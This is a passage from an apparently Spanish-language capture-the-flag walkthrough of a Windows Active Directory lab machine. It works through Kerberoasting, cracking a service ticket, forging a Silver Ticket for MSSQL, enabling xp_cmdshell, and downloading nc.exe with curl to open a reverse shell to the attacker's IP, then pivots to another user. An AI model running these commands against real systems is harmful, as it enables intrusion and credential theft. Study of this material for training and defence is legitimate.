lls {dirname} - lists all the files on the local filesystem.
tree {filepath} - recursively lists all files in folder and sub folders
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
Veamos los archivos compartidos:
# shares
ADMIN$
C$
HR
IPC$
IT
NETLOGON
Public
Sales
SYSVOL
Vemos varios, pero únicamente podremos entrar en el directorio Public.
Entremos para ver qué hay dentro:
# use Public
# ls
drw-rw-rw- 0 Thu Nov 4 16:23:19 2021 .
drw-rw-rw- 0 Thu Nov 4 16:23:19 2021 ..
-rw-rw-rw- 630106 Fri Nov 5 11:45:07 2021 Network Security Changes.pdf
Encontramos un PDF.
Descarguémoslo y veamos si podemos encontrar algo en sus metadatos:
# get Network Security Changes.pdf
# exit
exiftool Network\ Security\ Changes.pdf
ExifTool Version Number : 12.76
File Name : Network Security Changes.pdf
Directory : .
File Size : 630 kB
File Modification Date/Time : 2024:10:02 16:52:23-06:00
File Access Date/Time : 2024:10:02 16:52:24-06:00
File Inode Change Date/Time : 2024:10:02 16:52:23-06:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Language : en-GB
Tagged PDF : Yes
Producer : Microsoft® Word 2010
Creator : Microsoft® Word 2010
Create Date : 2021:11:04 22:20:49+00:00
Modify Date : 2021:11:04 22:20:49+00:00
Nada útil.
Abramos el PDF para ver que es:
Hay varios puntos que nos menciona y que son pistas sobre cómo avanzar de ahora en adelante.
- Primero: La autenticación NTLM se desactivó porque un atacante usó el ataque NTLM Relay, en toda la red interna no se puede usar esta autenticación.
- Segundo: Nos menciona que únicamente se pueden autenticar usando el servicio Kerberos, ya que piensan que no es posible hackearlo. Para autenticarse, necesitan el dominio (scrm.local), su usuario y el nombre del servidor al que tengan acceso.
- Tercero: El atacante podía obtener las credenciales almacenadas de una base de datos de SQL Server (MSSQL) que usa su software de HR, por esto quitaron el acceso al SQL Server, menos a los administradores de red.
Ya con esto, nos podemos dar una idea de cómo proceder, que sería atacando el servicio Kerberos.
Explotación de Vulnerabilidades
Aplicando Ataque Kerberoasting (Fallo en la Autenticación)
Como ya tenemos un usuario y contraseña válido, podemos aplicar el ataque Kerberoasting. Este mismo ataque, ya lo hemos aplicado en la máquina Active para escalar privilegios.
Utilicemos la herramienta GetUserSPNs.py de Impacket para realizar el ataque.
Debemos indicar el dominio junto al usuario y contraseña, el servidor del dominio e indicar que es por Kerberos:
impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 10:32:02.351452 2024-10-01 12:28:10.946619
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 10:32:02.351452 2024-10-01 12:28:10.946619
Hemos generado el ticket, ahora debemos obtener el hash del ticket generado, para esto debemos indicárselo con el parámetro -request
:
impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -k -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------------- ------ -------- -------------------------- -------------------------- ----------
MSSQLSvc/dc1.scrm.local:1433 sqlsvc 2021-11-03 10:32:02.351452 2024-10-01 12:28:10.946619
MSSQLSvc/dc1.scrm.local sqlsvc 2021-11-03 10:32:02.351452 2024-10-01 12:28:10.946619
[-] CCache file is not found. Skipping...
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*...
...
...
Obtuvimos el hash e información extra como el Service Principal Name (SPN), guardalo porque nos servira más adelante.
Muy bien, copia y pega el hash en un archivo para que podamos crackearlo con JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60 (?)
1g 0:00:00:04 DONE (2024-10-01 16:33) 0.2237g/s 2400Kp/s 2400Kc/s 2400KC/s Penrose..Pearce
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña del usuario sqlsvc en texto claro y es claro que es para el servicio MSSQL.
Podemos comprobar si la contraseña funciona con la herramienta impacket-mssqlclient.
Debemos indicarle el dominio seguido del usuario sqlsvc junto a su contraseña y la IP de la máquina víctima:
impacket-mssqlclient scrm.local/sqlsvc:Pegasus60@10.10.11.168
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'sqlsvc'.
No nos dejó loguearnos.
Vamos a usar el parámetro -windows-auth
para tratar de evitar problemas con la autenticación de Windows:
impacket-mssqlclient scrm.local/sqlsvc:Pegasus60@10.10.11.168 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ("Unpacked data doesn't match constant value 'b'\\x14H\\x00\\x00\\x01\\x0ef\\x00'' should be ''NTLMSSP\\x00''", 'When unpacking field \' | "NTLMSSP\x00 | b\'\\x14H\\x00\\x00\\x01\\x0ef\\x00L\\x00o\\x00g\\x00i\\x00n\\x00 \\x00f\\x00a\\x00i\\x00l\\x00e\\x00d\\x00.\\x00 \\x00T\\x00h\\x00e\\x00 \\x00l\\x00o\\x00g\\x00i\\x00n\\x00 \\x00i\\x00s\\x00 \\x00f\\x00r\\x00o\\x00m\\x00 \\x00a\\x00n\\x00 \\x00u\\x00n\\x00t\\x00r\\x00u\\x00s\\x00t\\x00e\\x00d\\x00 \\x00d\\x00o\\x00m\\x00a\\x00i\\x00n\\x00 \\x00a\\x00n\\x00d\\x00 \\x00c\\x00a\\x00n\\x00n\\x00o\\x00t\\x00 \\x00b\\x00e\\x00 \\x00u\\x00s\\x00e\\x00d\\x00 \\x00w\\x00i\\x00t\\x00h\\x00 \\x00I\\x00n\\x00t\\x00e\\x00g\\x00r\\x00a\\x00t\\x00e\\x00d\\x00 \\x00a\\x00u\\x00t\\x00h\\x00e\\x00n\\x00t\\x00i\\x00c\\x00a\\x00t\\x00i\\x00o\\x00n\\x00.\\x00\\x03D\\x00C\\x001\\x00\\x00\\x01\\x00\\xfd\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\'[:8]\'')
Tampoco nos dejó y es por el hecho de que está desactivada la autenticación NTLM.
Generando TGT para Autenticación en Servicio MSSQL vía Kerberos con impacket-getTGT (Fallo)
Podemos intentar generar un TGT que nos sirva para autenticarnos en el servicio Kerberos. Esto lo realizaremos con la herramienta impacket-getTGT.
Solo hay que indicarle el dominio y el usuario con su contraseña:
impacket-getTGT scrm.local/sqlsvc:Pegasus60
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in sqlsvc.ccache
Exportamos el archivo ccache que se generó en la variable de entorno KRB5CCNAME:
export KRB5CCNAME=sqlsvc.ccache
E intentamos loguearnos:
impacket-mssqlclient dc1.scrm.local -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\sqlsvc'.
No nos dejo.
Intentemoslo con el usuario ksimpson:
impacket-getTGT scrm.local/ksimpson:ksimpson
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ksimpson.ccache
export KRB5CCNAME=ksimpson.ccache
impacket-mssqlclient dc1.scrm.local -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
Nada tampoco, lo que seguiría es aplicar un Silver Ticket Attack.
Aplicando Silver Ticket Attack y Conectandonos a Servicio MSSQL
¿Qué es un Silver Ticket Attack?
Silver Ticket Attack |
---|
Un Silver Ticket Attack es un tipo de ataque dentro del ecosistema de Kerberos, un protocolo de autenticación ampliamente utilizado en entornos Windows para gestionar la autenticación de usuarios y servicios en una red. En este ataque, el atacante obtiene acceso no autorizado a servicios específicos mediante la creación de un “silver ticket” que es utilizado para autenticarse en un servicio Kerberizado. |
Acá te dejo un par de blogs con la explicación de este ataque:
En resumen, para aplicar este ataque necesitamos los siguientes datos:
- Un usuario y contraseña valido
- El SPN
- El NTLM Hash de la contraseña del usuario
- El SID del dominio
- El Dominio del AD
- Eñ servidor del dominio
Nosotros ya tenemos el usuario y contraseña válido, el SPN, el dominio del AD y el servidor del dominio.
Obtengamos el NTLM Hash de la contraseña del usuario sqlsvc con la siguiente página: NTLM Hash Generator
Transfórmalo a minúscula:
echo "B999A..." | tr '[A-Z]' '[a-z]'
b999a...
Guarda este NTLM Hash.
Para obtener el dominio SID, vamos a ocupar la herramienta impacket-getPac. Debemos indicarle el administrador con -targetUser
, luego el dominio y el usuario y contraseña:
impacket-getPac -targetUser Administrator scrm.local/sqlsvc:Pegasus60
KERB_VALIDATION_INFO
LogonTime:
dwLowDateTime: 2462292332
dwHighDateTime: 31134767
...
...
EffectiveName: 'administrator'
FullName: ''
LogonScript: ''
ProfilePath: ''
HomeDirectory: ''
HomeDirectoryDrive: ''
LogonCount: 258
BadPasswordCount: 0
UserId: 500
PrimaryGroupId: 513
GroupCount: 5
...
...
ResourceGroupIds:
[
RelativeId: 572
Attributes: 536870919 ,
]
Domain SID: S-1-5-21-2743207045-1827831105-2542523200
0000 10 00 00 00 CC C9 99 BE FA D0 7B 05 CB 38 DC 63 ..........{..8.c
Ahí esta el dominio SID y con esto, ya tenemos los datos que necesitamos.
Apliquemos el ataque indicando todos los datos que pide:
impacket-ticketer -spn MSSQLSvc/dc1.scrm.local:1433 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -dc-ip dc1.scrm.local -nthash b999a16500b87d17ec7f2e2a68778f05 -domain scrm.local Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Exportamos el archivo ccache a la variable de entorno KRB5CCNAME y nos logueamos al servicio MSSQL:
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient dc1.scrm.local -k
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SCRM\administrator dbo@master)>
Enumeración de Servicio MSSQL y Obteniendo Shell Interactiva
Estamos dentro del servicio MSSQL como administrador, vamos a empezar a enumerar lo que esté almacenado aquí.
Empecemos por las bases de datos, veamos si existen más:
SQL (SCRM\administrator dbo@master)> SELECT name FROM master.sys.databases;
name
----------
master
tempdb
model
msdb
ScrambleHR
Bien, veamos las tablas de la base de datos ScrambleHR:
SQL (SCRM\administrator dbo@master)> select table_name from ScrambleHR.information_schema.tables;
table_name
----------
Employees
UserImport
Timesheets
Hay solo 3 tablas, vamos a usar esa base de datos y veamos el contenido de estas:
SQL (SCRM\administrator dbo@master)> use ScrambleHR;
ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
SQL (SCRM\administrator dbo@ScrambleHR)> select * from Employees;
EmployeeID FirstName Surname Title Manager Role
---------- --------- ------- ----- ------- ----
SQL (SCRM\administrator dbo@ScrambleHR)> select * from UserImport;
LdapUser LdapPwd LdapDomain RefreshInterval IncludeGroups
-------- ----------------- ---------- --------------- -------------
MiscSvc ScrambledEggs9900 scrm.local 90 0
SQL (SCRM\administrator dbo@ScrambleHR)> select * from Timesheets;
EmployeeID TimeStart TimeEnd
---------- --------- -------
Encontramos la contraseña de un usuario llamado MiscSvc y está en texto claro, parece que menciona que es el usuario y contraseña del servicio LDAP, pero seguramente sirve para otros servicios.
Guárdala, ya que la usaremos más adelante.
Obtengamos una shell interactiva. Para hacer esto, podríamos cargar un binario de netcat al directorio /Temp de la máquina víctima y después indicarle que ejecute una cmd en una netcat que levantemos.
Para realizar esto, vamos a usar la herramienta xp_cmdshell que tiene el servicio MSSQL.
xp_cmdshell |
---|
xp_cmdshell es una función extendida de SQL Server que permite ejecutar comandos del sistema operativo directamente desde una consulta SQL. Está diseñado para realizar tareas administrativas ejecutando scripts, programas, o cualquier otro comando de línea de comandos desde el servidor de SQL Server. |
Activando xp_cmdshell en Servicio MSSQL
Revisemos si está activa:
SQL (SCRM\administrator dbo@ScrambleHR)> xp_cmdshell "whoami"
ERROR(DC1): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
No lo está, tenemos 2 formas de activarla:
- Activandola con el comando
enable xp_cmdshell
:SQL (SCRM\administrator dbo@master)> enable_xp_cmdshell INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (SCRM\administrator dbo@master)> xp_cmdshell "whoami" output ----------- scrm\sqlsvc NULL
- Activando de forma manual de la siguiente manera:
SQL (SCRM\administrator dbo@master)> SP_CONFIGURE "show advanced options", 1; INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (SCRM\administrator dbo@master)> RECONFIGURE; SQL (SCRM\administrator dbo@master)> SP_CONFIGURE "xp_cmdshell", 1; INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (SCRM\administrator dbo@master)> RECONFIGURE;
- Y ya podemos ejecutar comandos como si fuera una cmd:
SQL (SCRM\administrator dbo@master)> xp_cmdshell "whoami" output ----------- scrm\sqlsvc NULL
Continuemos.
Obteniendo Shell con Binario nc.exe
Comprueba que la máquina tenga la herramienta curl:
SQL (SCRM\administrator dbo@master)> xp_cmdshell "curl"
output
--------------------------------------------
curl: try 'curl --help' for more information
NULL
Kali Linux y SecLists tienen un binario de netcat:
locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
Cópialo en tu directorio de trabajo y abre un servidor en Python:
cp /usr/share/windows-resources/binaries/nc.exe .
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Carguemos el binario a la máquina en el directorio /Temp:
SQL (SCRM\administrator dbo@master)> xp_cmdshell "curl Tu_IP/nc.exe -o C:\Temp\nc.exe"
output
--------------------------------------------------------------------------------
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 59392 100 59392 0 0 194k 0 --:--:-- --:--:-- --:--:-- 194k
NULL
Abre una sesión de netcat, pero usando rlwrap (muy útil para Windows):
rlwrap nc -nlvp 443
listening on [any] 443 ...
Y desde la sesión de MSSQL, usemos el binario de netcat para obtener una cmd:
SQL (SCRM\administrator dbo@master)> xp_cmdshell "C:\Temp\nc.exe -e cmd Tu_IP 443"
Listo, tenemos una sesión interactiva:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.168] 58119
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
scrm\sqlsvc
Genial, pero este usuario no tiene la flag, pues existe el usuario MiscSvc y es a quien debemos llegar para obtener la primera flag.
Post Explotación
Aplicando User Pivoting para Convertirnos en Usuario MiscSvc
Actualmente, somos el usuario sqlsvc y por lo que sabemos existe un usuario llamado MiscSvc, cómo ya tenemos su contraseña, solamente debemos pivotear a su cuenta.
Tenemos 3 formas de realizar este proceso:
- Evil-WinRM autenticándonos vía Kerberos.
- Ocupando Script-Blocks e Invoke-Command usando PowerShell.
- Utilizando Enter-PSSession de PowerShell para obtener una sesión como MiscSvc.
Vamos a aplicarlas todas.
Utilizando Evil-WinRM para Autenticarnos como Usuario MiscSvc vía Kerberos
Para realizar este proceso, es necesario que tengas el archivo /etc/krb5.conf
, si no lo tienes, lo puedes obtener de la siguiente manera:
apt install krb5-user krb5-config
Y te preguntarás, ¿para qué necesitamos este archivo?
Archivo krb5.conf |
---|
El archivo /etc/krb5.conf es el archivo de configuración principal para Kerberos en sistemas basados en Linux, como Kali Linux. Este archivo define la configuración de Kerberos 5 (la versión más común del protocolo) en tu sistema y especifica los parámetros necesarios para que el cliente Kerberos pueda interactuar con un Key Distribution Center (KDC) y otros servicios Kerberos. |
Este archivo contiene las siguientes configuraciones:
Configuración | Descripción |
---|---|
[libdefaults] | Configuraciones generales del cliente Kerberos, como el nombre del reino (realm) y el tipo de cifrado predeterminado. |
[realms] | Define los diferentes reinos (realms) Kerberos, incluyendo los servidores KDC y el servidor de administración Kerberos para ese reino. |
[domain_realm] | Mapeo entre dominios DNS y reinos Kerberos. |
[logging] | Configura cómo y dónde se registran los logs de Kerberos (archivo, syslog, etc.). |
Creo que queda claro para qué es este archivo.
Una vez que lo tengas, vamos a modificarlo para agregarle el dominio del servicio Kerberos de la máquina víctima:
[libdefaults]
default_realm = SCRM.LOCAL
# The following libdefaults parameters are only for Heimdal Kerberos.
fcc-mit-ticketflags = true
[realms]
SCRM.LOCAL = {
kdc = dc1.scrm.local
}
[domain_realm]
.scrm.local = SCRM.LOCAL
scrm.local = SCRM.LOCAL
Y también debes de configurar el Evil-WinRM para agregarle la característica remote path completion, para este paso debes verificar tu versión de Ruby y seguir los pasos que indica el GitHub de esta herramienta (OJO, debes seguir los pasos con base en tu versión de Ruby):
Es posible que te salga un error sobre un archivo llamado ffi. Esta es una librería de Ruby que a lo mejor tienes, pero que por X o Y motivo no está funcionando correctamente. (Si no te sale este error, continúa con lo demás)
Para solucionarlo, aplica los siguientes comandos:
gem uninstall ffi
gem install ffi --platform=ruby
apt-get install build-essential libffi-dev
Una vez que tengas todo configurado, tan solo hay que crear un TGT usando al usuario MiscSvc, exportar el archivo ccache a la variable de entorno y autenticarnos con Evil-WinRM:
impacket-getTGT scrm.local/MiscSvc:ScrambledEggs9900
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in MiscSvc.ccache
export KRB5CCNAME=MiscSvc.ccache
evil-winrm -r SCRM.LOCAL -i dc1.scrm.local
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
Utilizando Script-Blocks y cmdlet Invoke-Command de PowerShell para Obtener Shell como Usuario MiscSvc
Como ya tenemos una sesión interactiva, podemos probar a entrar en PowerShell y aplicar Script-Blocks e Invoke-Command con tal de obtener una sesión como el usuario MiscSvc usando el binario netcat que ya tenemos aquí.
Script Blocks en PowerShell |
---|
En el contexto de PowerShell, los script blocks son secciones de código o un grupo de comandos que se encapsulan dentro de llaves {}. Un script block permite que un conjunto de comandos se defina y se ejecute en un momento posterior, o que se pase como argumento a otras funciones o cmdlets. |
Sintaxis:
# Forma 1:
$myScriptBlock = {
Get-Process
Write-Output "Procesos listados."
}
$myScriptBlock
# Forma 2:
$myScriptBlock = Get-Process Write-Output "Procesos listados."
$myScriptBlock
Cmdlet Invoke-Command |
---|
Invoke-Command es un cmdlet de PowerShell que permite ejecutar comandos en máquinas locales o remotas. Este cmdlet es particularmente útil para la administración remota, permitiendo a los administradores ejecutar comandos en varias máquinas sin necesidad de acceder físicamente a ellas. |
Sintaxis:
Invoke-Command -ComputerName "RemoteMachine" -ScriptBlock { Get-Process }
Invoke-Command -ComputerName "RemoteMachine" -ScriptBlock { Get-Service } -Credential (Get-Credential)
- Parámetro -ComputerName: Especifica el nombre o dirección IP de la máquina remota.
- Parámetro -ScriptBlock: Define el bloque de código que se ejecutará en la máquina remota.
- Ejecución local: Si no se especifica -ComputerName, el comando se ejecutará en la máquina local.
- Parámetro -Credential: Si necesitas ejecutar el comando en una máquina que requiere credenciales específicas, usa este parámetro para proporcionar el usuario y contraseña.
Vamos a hacerlo por pasos:
- Preparamos entorno y activamos PowerShell:
C:\Temp>mkdir Privesc
mkdir Privesc
C:\Temp>cd Privesc
cd Privesc
C:\Temp\Privesc>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Temp\Privesc>
- Creamos el Script-Block que almacene al usuario:
PS C:\Temp\Privesc> $user = 'scrm.local\MiscSvc' $user = 'scrm.local\MiscSvc'
- Creamos el Script-Block que almacene la contraseña del usuario:
PS C:\Temp\Privesc> $password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force $password = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
- Creamos el Script-Block que almacene un objeto que reproduce el usuario y contraseña:
PS C:\Temp\Privesc> $cred = New-Object System.Management.Automation.PSCredential($user, $password) $cred = New-Object System.Management.Automation.PSCredential($user, $password)
- Usamos el cmdlet
Invoke-Command
junto a los Script-Blocks para ejecutar comandos como usuario MiscSvc:PS C:\Temp\Privesc> Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { whoami } Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { whoami } scrm\miscsvc
Ya podemos ejecutar comandos como MiscSvc, ya solo debemos obtener una sesión como este usuario:
- Abre una netcat con rlwrap:
rlwrap nc -nlvp 443 listening on [any] 443 ...
- Ejecuta el binario de netcat para obtener la shell de MiscSvc:
PS C:\Temp\Privesc> Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { C:\Temp\nc.exe -e cmd Tu_IP 443 } Invoke-Command -ComputerName DC1 -Credential $cred -ScriptBlock { C:\Temp\nc.exe -e cmd Tu_IP 443 }
- Revisa la netcat:
rlwrap nc -nlvp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.11.168] 58708 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved. C:\Users\miscsvc\Documents>whoami whoami scrm\miscsvc
Listo.
Utilizando cmdlet Enter-PSSession para Obtener Sesión en PowerShell como Usuario MiscSvc (Fallo para Mi)
Para realizar este paso, necesitamos configurar el /etc/krb5.conf
del mismo modo que hicimos con la forma de Evil-WinRM.
También debes tener PowerShell en tu máquina, en Kali ya está instalado por defecto.
Abrimos PowerShell y usamos el cmdlet Enter-PSSession. Debemos indicarle el dominio y el usuario para que nos pida la contraseña:
pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS ../Scrambled/OSCP_Style/content> Enter-PSSession -ComputerName dc1.scrm.local -Credential MiscSvc
PowerShell credential request
Enter your credentials.
Password for user MiscSvc: *****************
Enter-PSSession: This parameter set requires WSMan, and no supported WSMan client library was found. WSMan is either not installed or unavailable for this system.
Nos pide que instalemos la librería WSMan. Puedes encontrar los pasos para instalarla aquí:
Una vez que lo tengas instalado, vuelve a probar el cmdlet Enter-PSSession:
pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS ../Scrambled/OSCP_Style/content> Enter-PSSession dc1.scrm.local -Credential MiscSvc
PowerShell credential request
Enter your credentials.
Password for user MiscSvc: *****************
Enter-PSSession: Connecting to remote server dc1.scrm.local failed with the following error message : Authorization failed For more information, see the about_Remote_Troubleshooting Help topic.
Y en mi caso no funciono, no sé por qué razón no me da acceso, pero puede que a ti te funcione y es una opción que puedes probar en otras máquinas que sean AD.
Analizando Binario y DLL con DNSpy
Si recordamos cuando entramos al servicio SMB vía Kerberos, vimos varios archivos compartidos.
Podemos listarlos en nuestra sesión como el usuario MiscSvc (en mi caso, me quedé con la sesión de Evil-WinRM):
*Evil-WinRM* PS C:\> cd Shares
*Evil-WinRM* PS C:\Shares> dir
Directory: C:\Shares
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/1/2021 3:21 PM HR
d----- 11/3/2021 7:32 PM IT
d----- 11/1/2021 3:21 PM Production
d----- 11/4/2021 10:23 PM Public
d----- 11/3/2021 7:33 PM Sales
Bien, podemos ir listando uno por uno, pero donde está lo interesante, es en el directorio IT/Apps/Sales Order Client
:
*Evil-WinRM* PS C:\Shares\IT\Apps\Sales Order Client> dir
Directory: C:\Shares\IT\Apps\Sales Order Client
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/5/2021 8:52 PM 86528 ScrambleClient.exe
-a---- 11/5/2021 8:52 PM 19456 ScrambleLib.dll
Vamos a descargar ese binario y el archivo DLL:
*Evil-WinRM* PS C:\Shares\IT\Apps\Sales Order Client> download ScrambleClient.exe
Info: Downloading C:\Shares\IT\Apps\Sales Order Client\ScrambleClient.exe to ScrambleClient.exe
Info: Download successful!
*Evil-WinRM* PS C:\Shares\IT\Apps\Sales Order Client> download ScrambleLib.dll
Info: Downloading C:\Shares\IT\Apps\Sales Order Client\ScrambleLib.dll to ScrambleLib.dll
Info: Download successful!
Una vez descargados, vamos a mandarlos a una máquina virtual Windows 10 para ver cómo funcionan. Puedes hacerlo levantando un servidor en Python.
IMPORTANTE:
Te recomiendo que mandes la VPN de HTB, la habilites con el cliente de OpenVPN y configures el dominio y el servidor del dominio en el /etc/hosts
del Windows 10, para que funcione correctamente el binario.
Probemos nuestra conexión con la máquina víctima:
Funciona correctamente.
Si abrimos el binario, veremos los mismos campos que vimos en la página web.
Dale al botón de edit y verás que podemos configurar el servidor del dominio y que se ejecuta en el puerto 4411. Además, podemos habilitar una casilla para activar el debugging de los logs:
Veamos qué pasa si con netcat nos conectamos a ese puerto:
nc 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
hola
ERROR_UNKNOWN_COMMAND;
help
ERROR_UNKNOWN_COMMAND;
^C
Por lo que veo, nos pide un comando que desconocemos por ahora.
Vamos a jugar para ver qué pasa si ponemos los usuarios y contraseñas que ya tenemos:
No nos dejó conectar con ninguno, pero se registró algo en un archivo de logs que se generó por el uso del binario. Quiero pensar que esto pasó por activar esa casilla de debugging:
Podemos ver que sucedieron muchas cosas, por ejemplo, se intenta hacer la conexión hacia el servidor SCRAMBLECORP_ORDERS_V1.0.3 usando las credenciales que pusimos, pero ninguno se pudo conectar:
Vamos a analizar el binario con DNSpy:
Hay muchas cosillas que podemos encontrar aquí, por ejemplo, la clase que realiza el login desde la ventana:
También vemos la clase que genera el archivo con los logs:
Pero, por más que busquemos, no hay algo que de verdad nos ayude, así que vamos a ver el archivo DLL:
Si analizamos su contenido, encontraremos cosas críticas, por ejemplo, una clase que está aplicando una serialización y deserialización siendo ambas en base64:
Entiendo que se está serializando una orden creada y luego se deserializa una orden recibida, ósea que si creamos una orden, esta se va a serializar, pero si recibimos una orden, esta se va a deserializar.
Si revisamos la clase ScrambleNetClient, vamos a encontrar algo muy curioso:
Resulta que es un usuario de algún dev, que al usarlo, nos va a dar acceso al servidor como si fuera un Bypass.
Vamos a usar ese usuario, sin ponerle contraseña, y veamos qué pasa:
Excelente, parece que ya hay órdenes creadas y recibidas.
Parece que tenemos la opción de crear una orden:
Probemos a crear una orden random y después, veamos los logs para ver si lo que entendimos que hace el binario es cierto:
Muy bien, es correcto lo que vimos que pasa. Nuestra orden se serializó y se envió, las otras órdenes que llegaron, fueron deserializadas para poder ver su contenido.
También, vemos que hay varios comandos como LIST_ORDERS, SUCCESS y UPLOAD_ORDER, creo que no hace falta explicar qué hace cada una.
Entonces, se están usando estos comandos junto a un código en base64 serializado en el servidor SCRAMBLECORP_ORDERS_V1.0.3, para realizar acciones entre el binario y el servidor.
Podemos aprovecharnos de esto para ganar acceso a la máquina.
Aplicando Ataque de Deserialización con ysoserial
¿Qué es un Ataque de Deserialización?
Ataque de Deserialización |
---|
Un ataque de deserialización ocurre cuando un atacante aprovecha la deserialización insegura de datos en una aplicación. La deserialización es el proceso mediante el cual los datos se transforman de un formato serializado (como JSON, XML, o binario) en un objeto en memoria que pueda ser manipulado por un programa. |
Si una aplicación deserializa objetos sin validar adecuadamente los datos entrantes, un atacante podría enviar datos manipulados para:
- Ejecutar código arbitrario.
- Modificar el estado del objeto.
- Escalar privilegios.
